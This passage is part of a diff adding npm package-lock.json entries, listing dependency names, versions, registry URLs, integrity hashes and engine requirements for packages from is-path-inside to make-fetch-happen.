"^12.20.0 || ^14.13.1 || >=16.0.0" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-path-inside": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/is-path-inside/-/is-path-inside-3.0.3.tgz", + "integrity": "sha512-Fd4gABb+ycGAmKou8eMftCupSir5lRxqf4aD/vd0cD2qc4HL07OjCeuHMr8Ro4CoMaeCKDB0/ECBOVWjTwUvPQ==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-plain-obj": { + "version": "2.1.0", + "resolved": "https://registry.npmjs.org/is-plain-obj/-/is-plain-obj-2.1.0.tgz", + "integrity": "sha512-YWnfyRwxL/+SsrWYfOpUtz5b3YD+nyfkHvjbcanzk8zgyO4ASD67uVMRt8k5bM4lLMDnXfriRhOpemw+NfT1eA==", + "dev": true, + "engines": { + "node": ">=8" + } + }, + "node_modules/is-promise": { + "version": "2.2.2", + "resolved": "https://registry.npmjs.org/is-promise/-/is-promise-2.2.2.tgz", + "integrity": "sha512-+lP4/6lKUBfQjZ2pdxThZvLUAafmZb8OAxFb8XXtiQmS35INgr85hdOGoEs124ez1FCnZJt6jau/T+alh58QFQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/is-stream": { + "version": "1.1.0", + "resolved": "https://registry.npmjs.org/is-stream/-/is-stream-1.1.0.tgz", + "integrity": "sha512-uQPm8kcs47jx38atAcWTVxyltQYoPT68y9aWYdV6yWXSyW8mzSat0TL6CiWdZeCdF3KrAvpVtnHbTv4RN+rqdQ==", + "dev": true, + "license": "MIT", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/is-unicode-supported": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/is-unicode-supported/-/is-unicode-supported-0.1.0.tgz", + "integrity": "sha512-knxG2q4UC3u8stRGyAVJCOdxFmv5DZiRcdlIaAQXAbSfJya+OhopNotLQrstBhququ4ZpuKbDc/8S6mgXgPFPw==", + "dev": true, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/is-wsl": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/is-wsl/-/is-wsl-2.2.0.tgz", + "integrity": "sha512-fKzAra0rGJUUBwGBgNkHZuToZcn+TtXHpeCgmkMJMMYx1sQDYaCSyjJBSCa2nH1DGm7s3n1oBnohoVTBaN7Lww==", + "dev": true, + "dependencies": { + "is-docker": "^2.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/isarray": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/isarray/-/isarray-1.0.0.tgz", + "integrity": "sha512-VLghIWNM6ELQzo7zwmcg0NmTVyWKYjvIeM83yjp0wRDTmUnrM678fQbcKBo6n2CJEF0szoG//ytg+TKla89ALQ==" + }, + "node_modules/isexe": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/isexe/-/isexe-2.0.0.tgz", + "integrity": "sha1-6PvzdNxVb/iUehDcsFctYz8s+hA=" + }, + "node_modules/istanbul-lib-coverage": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/istanbul-lib-coverage/-/istanbul-lib-coverage-3.2.2.tgz", + "integrity": "sha512-O8dpsF+r0WV/8MNRKfnmrtCWhuKjxrq2w+jpzBL5UZKTi2LeVWnWOmWRxFlesJONmc+wLAGvKQZEOanko0LFTg==", + "dev": true, + "license": "BSD-3-Clause", + "engines": { + "node": ">=8" + } + }, + "node_modules/istanbul-lib-report": { + "version": "3.0.1", + "resolved": "https://registry.npmjs.org/istanbul-lib-report/-/istanbul-lib-report-3.0.1.tgz", + "integrity": "sha512-GCfE1mtsHGOELCU8e/Z7YWzpmybrx/+dSTfLrvY8qRmaY6zXTKWn6WQIjaAFw069icm6GVMNkgu0NzI4iPZUNw==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "istanbul-lib-coverage": "^3.0.0", + "make-dir": "^4.0.0", + "supports-color": "^7.1.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/istanbul-reports": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/istanbul-reports/-/istanbul-reports-3.2.0.tgz", + "integrity": "sha512-HGYWWS/ehqTV3xN10i23tkPkpH46MLCIMFNCaaKNavAXTF1RkqxawEPtnjnGZ6XKSInBKkiOA5BKS+aZiY3AvA==", + "dev": true, + "license": "BSD-3-Clause", + "dependencies": { + "html-escaper": "^2.0.0", + "istanbul-lib-report": "^3.0.0" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/istextorbinary": { + "version": "9.5.0", + "resolved": "https://registry.npmjs.org/istextorbinary/-/istextorbinary-9.5.0.tgz", + "integrity": "sha512-5mbUj3SiZXCuRf9fT3ibzbSSEWiy63gFfksmGfdOzujPjW3k+z8WvIBxcJHBoQNlaZaiyB25deviif2+osLmLw==", + "dev": true, + "dependencies": { + "binaryextensions": "^6.11.0", + "editions": "^6.21.0", + "textextensions": "^6.11.0" + }, + "engines": { + "node": ">=4" + }, + "funding": { + "url": "https://bevry.me/fund" + } + }, + "node_modules/jackspeak": { + "version": "3.4.0", + "resolved": "https://registry.npmjs.org/jackspeak/-/jackspeak-3.4.0.tgz", + "integrity": "sha512-JVYhQnN59LVPFCEcVa2C3CrEKYacvjRfqIQl+h8oi91aLYQVWRYbxjPcv1bUiUy/kLmQaANrYfNMCO3kuEDHfw==", + "dependencies": { + "@isaacs/cliui": "^8.0.2" + }, + "engines": { + "node": ">=14" + }, + "funding": { + "url": "https://github.com/sponsors/isaacs" + }, + "optionalDependencies": { + "@pkgjs/parseargs": "^0.11.0" + } + }, + "node_modules/javascript-natural-sort": { + "version": "0.7.1", + "resolved": "https://registry.npmjs.org/javascript-natural-sort/-/javascript-natural-sort-0.7.1.tgz", + "integrity": "sha512-nO6jcEfZWQXDhOiBtG2KvKyEptz7RVbpGP4vTD2hLBdmNQSsCiicO2Ioinv6UI4y9ukqnBpy+XZ9H6uLNgJTlw==", + "dev": true, + "license": "MIT" + }, + "node_modules/js-tokens": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/js-tokens/-/js-tokens-4.0.0.tgz", + "integrity": "sha512-RdJUflcE3cUzKiMqQgsCu06FPu9UdIJO0beYbPhHN4k6apgJtifcoCtT9bcxOpYBtpD2kCM6Sbzg4CausW/PKQ==", + "dev": true + }, + "node_modules/js-yaml": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/js-yaml/-/js-yaml-4.1.0.tgz", + "integrity": "sha512-wpxZs9NoxZaJESJGIZTyDEaYpl0FKSA+FB9aJiyemKhMwkxQg63h4T1KJgUGHpTqPDNRcmmYLugrRjJlBtWvRA==", + "dev": true, + "dependencies": { + "argparse": "^2.0.1" + }, + "bin": { + "js-yaml": "bin/js-yaml.js" + } + }, + "node_modules/jsesc": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/jsesc/-/jsesc-3.1.0.tgz", + "integrity": "sha512-/sM3dO2FOzXjKQhJuo0Q173wf2KOo8t4I8vHy6lF9poUp7bKT0/NHE8fPX23PwfhnykfqnC2xRxOnVw5XuGIaA==", + "dev": true, + "license": "MIT", + "bin": { + "jsesc": "bin/jsesc" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/json-schema-traverse": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/json-schema-traverse/-/json-schema-traverse-0.4.1.tgz", + "integrity": "sha512-xbbCH5dCYU5T8LcEhhuh7HJ88HXuW3qsI3Y0zOZFKfZEHcpWiHU/Jxzk629Brsab/mMiHQti9wMP+845RPe3Vg==", + "dev": true + }, + "node_modules/json-stable-stringify-without-jsonify": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/json-stable-stringify-without-jsonify/-/json-stable-stringify-without-jsonify-1.0.1.tgz", + "integrity": "sha1-nbe1lJatPzz+8wp1FC0tkwrXJlE=", + "dev": true + }, + "node_modules/json5": { + "version": "2.2.3", + "resolved": "https://registry.npmjs.org/json5/-/json5-2.2.3.tgz", + "integrity": "sha512-XmOWe7eyHYH14cLdVPoyg+GOH3rYX++KpzrylJwSW98t3Nk+U8XOl8FWKOgwtzdb8lXGf6zYwDUzeHMWfxasyg==", + "dev": true, + "bin": { + "json5": "lib/cli.js" + }, + "engines": { + "node": ">=6" + } + }, + "node_modules/jsonc-parser": { + "version": "3.2.0", + "resolved": "https://registry.npmjs.org/jsonc-parser/-/jsonc-parser-3.2.0.tgz", + "integrity": "sha512-gfFQZrcTc8CnKXp6Y4/CBT3fTc0OVuDofpre4aEeEpSBPV5X5v4+Vmx+8snU7RLPrNHPKSgLxGo9YuQzz20o+w==", + "dev": true + }, + "node_modules/jsonfile": { + "version": "6.2.0", + "resolved": "https://registry.npmjs.org/jsonfile/-/jsonfile-6.2.0.tgz", + "integrity": "sha512-FGuPw30AdOIUTRMC2OMRtQV+jkVj2cfPqSeWXv1NEAJ1qZ5zb1X6z1mFhbfOB/iy3ssJCD+3KuZ8r8C3uVFlAg==", + "dev": true, + "dependencies": { + "universalify": "^2.0.0" + }, + "optionalDependencies": { + "graceful-fs": "^4.1.6" + } + }, + "node_modules/jsonwebtoken": { + "version": "9.0.2", + "resolved": "https://registry.npmjs.org/jsonwebtoken/-/jsonwebtoken-9.0.2.tgz", + "integrity": "sha512-PRp66vJ865SSqOlgqS8hujT5U4AOgMfhrwYIuIhfKaoSCZcirrmASQr8CX7cUg+RMih+hgznrjp99o+W4pJLHQ==", + "dev": true, + "dependencies": { + "jws": "^3.2.2", + "lodash.includes": "^4.3.0", + "lodash.isboolean": "^3.0.3", + "lodash.isinteger": "^4.0.4", + "lodash.isnumber": "^3.0.3", + "lodash.isplainobject": "^4.0.6", + "lodash.isstring": "^4.0.1", + "lodash.once": "^4.0.0", + "ms": "^2.1.1", + "semver": "^7.5.4" + }, + "engines": { + "node": ">=12", + "npm": ">=6" + } + }, + "node_modules/jsonwebtoken/node_modules/jwa": { + "version": "1.4.1", + "resolved": "https://registry.npmjs.org/jwa/-/jwa-1.4.1.tgz", + "integrity": "sha512-qiLX/xhEEFKUAJ6FiBMbes3w9ATzyk5W7Hvzpa/SLYdxNtng+gcurvrI7TbACjIXlsJyr05/S1oUhZrc63evQA==", + "dev": true, + "dependencies": { + "buffer-equal-constant-time": "1.0.1", + "ecdsa-sig-formatter": "1.0.11", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/jsonwebtoken/node_modules/jws": { + "version": "3.2.2", + "resolved": "https://registry.npmjs.org/jws/-/jws-3.2.2.tgz", + "integrity": "sha512-YHlZCB6lMTllWDtSPHz/ZXTsi8S00usEV6v1tjq8tOUZzw7DpSDWVXjXDre6ed1w/pd495ODpHZYSdkRTsa0HA==", + "dev": true, + "dependencies": { + "jwa": "^1.4.1", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/jszip": { + "version": "3.10.1", + "resolved": "https://registry.npmjs.org/jszip/-/jszip-3.10.1.tgz", + "integrity": "sha512-xXDvecyTpGLrqFrvkrUSoxxfJI5AH7U8zxxtVclpsUtMCq4JQ290LY8AW5c7Ggnr/Y/oK+bQMbqK2qmtk3pN4g==", + "dev": true, + "dependencies": { + "lie": "~3.3.0", + "pako": "~1.0.2", + "readable-stream": "~2.3.6", + "setimmediate": "^1.0.5" + } + }, + "node_modules/jwa": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/jwa/-/jwa-2.0.0.tgz", + "integrity": "sha512-jrZ2Qx916EA+fq9cEAeCROWPTfCwi1IVHqT2tapuqLEVVDKFDENFw1oL+MwrTvH6msKxsd1YTDVw6uKEcsrLEA==", + "dev": true, + "dependencies": { + "buffer-equal-constant-time": "1.0.1", + "ecdsa-sig-formatter": "1.0.11", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/jws": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/jws/-/jws-4.0.0.tgz", + "integrity": "sha512-KDncfTmOZoOMTFG4mBlG0qUIOlc03fmzH+ru6RgYVZhPkyiy/92Owlt/8UEN+a4TXR1FQetfIpJE8ApdvdVxTg==", + "dev": true, + "dependencies": { + "jwa": "^2.0.0", + "safe-buffer": "^5.0.1" + } + }, + "node_modules/keytar": { + "version": "7.9.0", + "resolved": "https://registry.npmjs.org/keytar/-/keytar-7.9.0.tgz", + "integrity": "sha512-VPD8mtVtm5JNtA2AErl6Chp06JBfy7diFQ7TQQhdpWOl6MrCRB+eRbvAZUsbGQS9kiMq0coJsy0W0vHpDCkWsQ==", + "dev": true, + "hasInstallScript": true, + "optional": true, + "dependencies": { + "node-addon-api": "^4.3.0", + "prebuild-install": "^7.0.1" + } + }, + "node_modules/kuler": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/kuler/-/kuler-2.0.0.tgz", + "integrity": "sha512-Xq9nH7KlWZmXAtodXDDRE7vs6DU1gTU8zYDHDiWLSip45Egwq3plLHzPn27NgvzL2r1LMPC1vdqh98sQxtqj4A==", + "dev": true + }, + "node_modules/lazystream": { + "version": "1.0.1", + "resolved": "https://registry.npmjs.org/lazystream/-/lazystream-1.0.1.tgz", + "integrity": "sha512-b94GiNHQNy6JNTrt5w6zNyffMrNkXZb3KTkCZJb2V1xaEGCk093vkZ2jk3tpaeP33/OiXC+WvK9AxUebnf5nbw==", + "dependencies": { + "readable-stream": "^2.0.5" + }, + "engines": { + "node": ">= 0.6.3" + } + }, + "node_modules/lcov-parse": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/lcov-parse/-/lcov-parse-1.0.0.tgz", + "integrity": "sha512-aprLII/vPzuQvYZnDRU78Fns9I2Ag3gi4Ipga/hxnVMCZC8DnR2nI7XBqrPoywGfxqIx/DgarGvDJZAD3YBTgQ==", + "bin": { + "lcov-parse": "bin/cli.js" + } + }, + "node_modules/leven": { + "version": "3.1.0", + "resolved": "https://registry.npmjs.org/leven/-/leven-3.1.0.tgz", + "integrity": "sha512-qsda+H8jTaUaN/x5vzW2rzc+8Rw4TAQ/4KjB46IwK5VH+IlVeeeje/EoZRpiXvIqjFgK84QffqPztGI3VBLG1A==", + "dev": true, + "engines": { + "node": ">=6" + } + }, + "node_modules/levn": { + "version": "0.4.1", + "resolved": "https://registry.npmjs.org/levn/-/levn-0.4.1.tgz", + "integrity": "sha512-+bT2uH4E5LGE7h/n3evcS/sQlJXCpIp6ym8OWJ5eV6+67Dsql/LaaT7qJBAt2rzfoa/5QBGBhxDix1dMt2kQKQ==", + "dev": true, + "dependencies": { + "prelude-ls": "^1.2.1", + "type-check": "~0.4.0" + }, + "engines": { + "node": ">= 0.8.0" + } + }, + "node_modules/lie": { + "version": "3.3.0", + "resolved": "https://registry.npmjs.org/lie/-/lie-3.3.0.tgz", + "integrity": "sha512-UaiMJzeWRlEujzAuw5LokY1L5ecNQYZKfmyZ9L7wDHb/p5etKaxXhohBcrw0EYby+G/NA52vRSN4N39dxHAIwQ==", + "dev": true, + "dependencies": { + "immediate": "~3.0.5" + } + }, + "node_modules/linkify-it": { + "version": "5.0.0", + "resolved": "https://registry.npmjs.org/linkify-it/-/linkify-it-5.0.0.tgz", + "integrity": "sha512-5aHCbzQRADcdP+ATqnDuhhJ/MRIqDkZX5pyjFHRRysS8vZ5AbqGEoFIb6pYHPZ+L/OC2Lc+xT8uHVVR5CAK/wQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "uc.micro": "^2.0.0" + } + }, + "node_modules/lint-staged": { + "version": "16.2.6", + "resolved": "https://registry.npmjs.org/lint-staged/-/lint-staged-16.2.6.tgz", + "integrity": "sha512-s1gphtDbV4bmW1eylXpVMk2u7is7YsrLl8hzrtvC70h4ByhcMLZFY01Fx05ZUDNuv1H8HO4E+e2zgejV1jVwNw==", + "dev": true, + "dependencies": { + "commander": "^14.0.1", + "listr2": "^9.0.5", + "micromatch": "^4.0.8", + "nano-spawn": "^2.0.0", + "pidtree": "^0.6.0", + "string-argv": "^0.3.2", + "yaml": "^2.8.1" + }, + "bin": { + "lint-staged": "bin/lint-staged.js" + }, + "engines": { + "node": ">=20.17" + }, + "funding": { + "url": "https://opencollective.com/lint-staged" + } + }, + "node_modules/lint-staged/node_modules/commander": { + "version": "14.0.1", + "resolved": "https://registry.npmjs.org/commander/-/commander-14.0.1.tgz", + "integrity": "sha512-2JkV3gUZUVrbNA+1sjBOYLsMZ5cEEl8GTFP2a4AVz5hvasAMCQ1D2l2le/cX+pV4N6ZU17zjUahLpIXRrnWL8A==", + "dev": true, + "engines": { + "node": ">=20" + } + }, + "node_modules/listr2": { + "version": "9.0.5", + "resolved": "https://registry.npmjs.org/listr2/-/listr2-9.0.5.tgz", + "integrity": "sha512-ME4Fb83LgEgwNw96RKNvKV4VTLuXfoKudAmm2lP8Kk87KaMK0/Xrx/aAkMWmT8mDb+3MlFDspfbCs7adjRxA2g==", + "dev": true, + "dependencies": { + "cli-truncate": "^5.0.0", + "colorette": "^2.0.20", + "eventemitter3": "^5.0.1", + "log-update": "^6.1.0", + "rfdc": "^1.4.1", + "wrap-ansi": "^9.0.0" + }, + "engines": { + "node": ">=20.0.0" + } + }, + "node_modules/locate-path": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/locate-path/-/locate-path-6.0.0.tgz", + "integrity": "sha512-iPZK6eYjbxRu3uB4/WZ3EsEIMJFMqAoopl3R+zuq0UjcAm/MO6KCweDgPfP3elTztoKP3KtnVHxTn2NHBSDVUw==", + "dev": true, + "dependencies": { + "p-locate": "^5.0.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/lodash": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash/-/lodash-4.17.21.tgz", + "integrity": "sha512-v2kDEe57lecTulaDIuNTPy3Ry4gLGJ6Z1O3vE1krgXZNrsQ+LFTGHVxVjcXPs17LhbZVGedAJv8XZ1tvj5FvSg==", + "license": "MIT" + }, + "node_modules/lodash-es": { + "version": "4.17.21", + "resolved": "https://registry.npmjs.org/lodash-es/-/lodash-es-4.17.21.tgz", + "integrity": "sha512-mKnC+QJ9pWVzv+C4/U3rRsHapFfHvQFoFB92e52xeyGMcX6/OlIl78je1u8vePzYZSkkogMPJ2yjxxsb89cxyw==", + "dev": true + }, + "node_modules/lodash.debounce": { + "version": "4.0.8", + "resolved": "https://registry.npmjs.org/lodash.debounce/-/lodash.debounce-4.0.8.tgz", + "integrity": "sha512-FT1yDzDYEoYWhnSGnpE/4Kj1fLZkDFyqRb7fNt6FdYOSxlUWAtp42Eh6Wb0rGIv/m9Bgo7x4GhQbm5Ys4SG5ow==", + "dev": true + }, + "node_modules/lodash.get": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.get/-/lodash.get-4.4.2.tgz", + "integrity": "sha512-z+Uw/vLuy6gQe8cfaFWD7p0wVv8fJl3mbzXh33RS+0oW2wvUqiRXiQ69gLWSLpgB5/6sU+r6BlQR0MBILadqTQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.includes": { + "version": "4.3.0", + "resolved": "https://registry.npmjs.org/lodash.includes/-/lodash.includes-4.3.0.tgz", + "integrity": "sha512-W3Bx6mdkRTGtlJISOvVD/lbqjTlPPUDTMnlXZFnVwi9NKJ6tiAk6LVdlhZMm17VZisqhKcgzpO5Wz91PCt5b0w==", + "dev": true + }, + "node_modules/lodash.isboolean": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isboolean/-/lodash.isboolean-3.0.3.tgz", + "integrity": "sha512-Bz5mupy2SVbPHURB98VAcw+aHh4vRV5IPNhILUCsOzRmsTmSQ17jIuqopAentWoehktxGd9e/hbIXq980/1QJg==", + "dev": true + }, + "node_modules/lodash.isinteger": { + "version": "4.0.4", + "resolved": "https://registry.npmjs.org/lodash.isinteger/-/lodash.isinteger-4.0.4.tgz", + "integrity": "sha512-DBwtEWN2caHQ9/imiNeEA5ys1JoRtRfY3d7V9wkqtbycnAmTvRRmbHKDV4a0EYc678/dia0jrte4tjYwVBaZUA==", + "dev": true + }, + "node_modules/lodash.isnumber": { + "version": "3.0.3", + "resolved": "https://registry.npmjs.org/lodash.isnumber/-/lodash.isnumber-3.0.3.tgz", + "integrity": "sha512-QYqzpfwO3/CWf3XP+Z+tkQsfaLL/EnUlXWVkIk5FUPc4sBdTehEqZONuyRt2P67PXAk+NXmTBcc97zw9t1FQrw==", + "dev": true + }, + "node_modules/lodash.isplainobject": { + "version": "4.0.6", + "resolved": "https://registry.npmjs.org/lodash.isplainobject/-/lodash.isplainobject-4.0.6.tgz", + "integrity": "sha512-oSXzaWypCMHkPC3NvBEaPHf0KsA5mvPrOPgQWDsbg8n7orZ290M0BmC/jgRZ4vcJ6DTAhjrsSYgdsW/F+MFOBA==", + "dev": true + }, + "node_modules/lodash.isstring": { + "version": "4.0.1", + "resolved": "https://registry.npmjs.org/lodash.isstring/-/lodash.isstring-4.0.1.tgz", + "integrity": "sha512-0wJxfxH1wgO3GrbuP+dTTk7op+6L41QCXbGINEmD+ny/G/eCqGzxyCsh7159S+mgDDcoarnBw6PC1PS5+wUGgw==", + "dev": true + }, + "node_modules/lodash.merge": { + "version": "4.6.2", + "resolved": "https://registry.npmjs.org/lodash.merge/-/lodash.merge-4.6.2.tgz", + "integrity": "sha512-0KpjqXRVvrYyCsX1swR/XTK0va6VQkQM6MNo7PqW77ByjAhoARA8EfrP1N4+KlKj8YS0ZUCtRT/YUuhyYDujIQ==", + "dev": true + }, + "node_modules/lodash.once": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.once/-/lodash.once-4.1.1.tgz", + "integrity": "sha512-Sb487aTOCr9drQVL8pIxOzVhafOjZN9UU54hiN8PU3uAiSV7lx1yYNpbNmex2PK6dSJoNTSJUUswT651yww3Mg==", + "dev": true + }, + "node_modules/lodash.throttle": { + "version": "4.1.1", + "resolved": "https://registry.npmjs.org/lodash.throttle/-/lodash.throttle-4.1.1.tgz", + "integrity": "sha512-wIkUCfVKpVsWo3JSZlc+8MB5it+2AN5W8J7YVMST30UrvcQNZ1Okbj+rbVniijTWE6FGYy4XJq/rHkas8qJMLQ==", + "dev": true, + "license": "MIT" + }, + "node_modules/lodash.truncate": { + "version": "4.4.2", + "resolved": "https://registry.npmjs.org/lodash.truncate/-/lodash.truncate-4.4.2.tgz", + "integrity": "sha512-jttmRe7bRse52OsWIMDLaXxWqRAmtIUccAQ3garviCqJjafXOfNMO0yMfNpdD6zbGaTU0P5Nz7e7gAT6cKmJRw==", + "dev": true + }, + "node_modules/log-symbols": { + "version": "4.1.0", + "resolved": "https://registry.npmjs.org/log-symbols/-/log-symbols-4.1.0.tgz", + "integrity": "sha512-8XPvpAA8uyhfteu8pIvQxpJZ7SYYdpUivZpGy6sFsBuKRY/7rQGavedeB8aK+Zkyq6upMFVL/9AW6vOYzfRyLg==", + "dev": true, + "dependencies": { + "chalk": "^4.1.0", + "is-unicode-supported": "^0.1.0" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update": { + "version": "6.1.0", + "resolved": "https://registry.npmjs.org/log-update/-/log-update-6.1.0.tgz", + "integrity": "sha512-9ie8ItPR6tjY5uYJh8K/Zrv/RMZ5VOlOWvtZdEHYSTFKZfIBPQa9tOAEeAWhd+AnIneLJ22w5fjOYtoutpWq5w==", + "dev": true, + "dependencies": { + "ansi-escapes": "^7.0.0", + "cli-cursor": "^5.0.0", + "slice-ansi": "^7.1.0", + "strip-ansi": "^7.1.0", + "wrap-ansi": "^9.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update/node_modules/ansi-regex": { + "version": "6.2.2", + "resolved": "https://registry.npmjs.org/ansi-regex/-/ansi-regex-6.2.2.tgz", + "integrity": "sha512-Bq3SmSpyFHaWjPk8If9yc6svM8c56dB5BAtW4Qbw5jHTwwXXcTLoRMkpDJp6VL0XzlWaCHTXrkFURMYmD0sLqg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-regex?sponsor=1" + } + }, + "node_modules/log-update/node_modules/ansi-styles": { + "version": "6.2.3", + "resolved": "https://registry.npmjs.org/ansi-styles/-/ansi-styles-6.2.3.tgz", + "integrity": "sha512-4Dj6M28JB+oAH8kFkTLUo+a2jwOFkuqb3yucU0CANcRRUbxS0cP0nZYCGjcc3BNXwRIsUVmDGgzawme7zvJHvg==", + "dev": true, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/ansi-styles?sponsor=1" + } + }, + "node_modules/log-update/node_modules/is-fullwidth-code-point": { + "version": "5.1.0", + "resolved": "https://registry.npmjs.org/is-fullwidth-code-point/-/is-fullwidth-code-point-5.1.0.tgz", + "integrity": "sha512-5XHYaSyiqADb4RnZ1Bdad6cPp8Toise4TzEjcOYDHZkTCbKgiUl7WTUCpNWHuxmDt91wnsZBc9xinNzopv3JMQ==", + "dev": true, + "dependencies": { + "get-east-asian-width": "^1.3.1" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/log-update/node_modules/slice-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/slice-ansi/-/slice-ansi-7.1.2.tgz", + "integrity": "sha512-iOBWFgUX7caIZiuutICxVgX1SdxwAVFFKwt1EvMYYec/NWO5meOJ6K5uQxhrYBdQJne4KxiqZc+KptFOWFSI9w==", + "dev": true, + "dependencies": { + "ansi-styles": "^6.2.1", + "is-fullwidth-code-point": "^5.0.0" + }, + "engines": { + "node": ">=18" + }, + "funding": { + "url": "https://github.com/chalk/slice-ansi?sponsor=1" + } + }, + "node_modules/log-update/node_modules/strip-ansi": { + "version": "7.1.2", + "resolved": "https://registry.npmjs.org/strip-ansi/-/strip-ansi-7.1.2.tgz", + "integrity": "sha512-gmBGslpoQJtgnMAvOVqGZpEz9dyoKTCzy2nfz/n8aIFhN/jCE/rCmcxabB6jOOHV+0WNnylOxaxBQPSvcWklhA==", + "dev": true, + "dependencies": { + "ansi-regex": "^6.0.1" + }, + "engines": { + "node": ">=12" + }, + "funding": { + "url": "https://github.com/chalk/strip-ansi?sponsor=1" + } + }, + "node_modules/logform": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/logform/-/logform-2.7.0.tgz", + "integrity": "sha512-TFYA4jnP7PVbmlBIfhlSe+WKxs9dklXMTEGcBCIvLhE/Tn3H6Gk1norupVW7m5Cnd4bLcr08AytbyV/xj7f/kQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "@colors/colors": "1.6.0", + "@types/triple-beam": "^1.3.2", + "fecha": "^4.2.0", + "ms": "^2.1.1", + "safe-stable-stringify": "^2.3.1", + "triple-beam": "^1.3.0" + }, + "engines": { + "node": ">= 12.0.0" + } + }, + "node_modules/loupe": { + "version": "2.3.7", + "resolved": "https://registry.npmjs.org/loupe/-/loupe-2.3.7.tgz", + "integrity": "sha512-zSMINGVYkdpYSOBmLi0D1Uo7JU9nVdQKrHxC8eYlV+9YKK9WePqAlL7lSlorG/U2Fw1w0hTBmaa/jrQ3UbPHtA==", + "dev": true, + "license": "MIT", + "dependencies": { + "get-func-name": "^2.0.1" + } + }, + "node_modules/lower-case": { + "version": "2.0.2", + "resolved": "https://registry.npmjs.org/lower-case/-/lower-case-2.0.2.tgz", + "integrity": "sha512-7fm3l3NAF9WfN6W3JOmf5drwpVqX78JtoGJ3A6W0a6ZnldM41w2fV5D490psKFTpMds8TJse/eHLFFsNHHjHgg==", + "dev": true, + "license": "MIT", + "dependencies": { + "tslib": "^2.0.3" + } + }, + "node_modules/lru-cache": { + "version": "6.0.0", + "resolved": "https://registry.npmjs.org/lru-cache/-/lru-cache-6.0.0.tgz", + "integrity": "sha512-Jo6dJ04CmSjuznwJSS3pUeWmd/H0ffTlkXXgwZi+eq1UCmqQwCh+eLsYOYCwY991i2Fah4h1BEMCx4qThGbsiA==", + "dev": true, + "dependencies": { + "yallist": "^4.0.0" + }, + "engines": { + "node": ">=10" + } + }, + "node_modules/lru-queue": { + "version": "0.1.0", + "resolved": "https://registry.npmjs.org/lru-queue/-/lru-queue-0.1.0.tgz", + "integrity": "sha512-BpdYkt9EvGl8OfWHDQPISVpcl5xZthb+XPsbELj5AQXxIC8IriDZIQYjBJPEm5rS420sjZ0TLEzRcq5KdBhYrQ==", + "dev": true, + "license": "MIT", + "dependencies": { + "es5-ext": "~0.10.2" + } + }, + "node_modules/make-dir": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/make-dir/-/make-dir-4.0.0.tgz", + "integrity": "sha512-hXdUTZYIVOt1Ex//jAQi+wTZZpUpwBj/0QsOzqegb3rGMMeJiSEu5xLHnYfBrRV4RH2+OCSOO95Is/7x1WJ4bw==", + "dev": true, + "license": "MIT", + "dependencies": { + "semver": "^7.5.3" + }, + "engines": { + "node": ">=10" + }, + "funding": { + "url": "https://github.com/sponsors/sindresorhus" + } + }, + "node_modules/make-fetch-happen": { + "version": "10.2.1", + "resolved": "https://registry.npmjs.org/make-fetch-happen/-/make-fetch-happen-10.2.1.tgz", + "integrity": "sha512-NgOPbRiaQM10DYXvN3/hhGVI2M5MtITFryzBGxHM5p4wnFxsVCbxkrBrDsk+EZ5OB4jEOT7AjDxtdF+KVEFT7w==", + "dev": true, + "license": "ISC", + "dependencies": { + "agentkeepalive": "^4.2.1", + "cacache": "^16.1.0", + "http-cache-semantics": "^4.1.0", + "http-proxy-agent": "^5.0.0", + "https-proxy-agent": "^5.0.0", + "is-lambda": "^1.0.1", + "lru-cache": "^7.7.1", + "minipass": "^3.1.6", + "minipass-collect": "^1.0.2", + 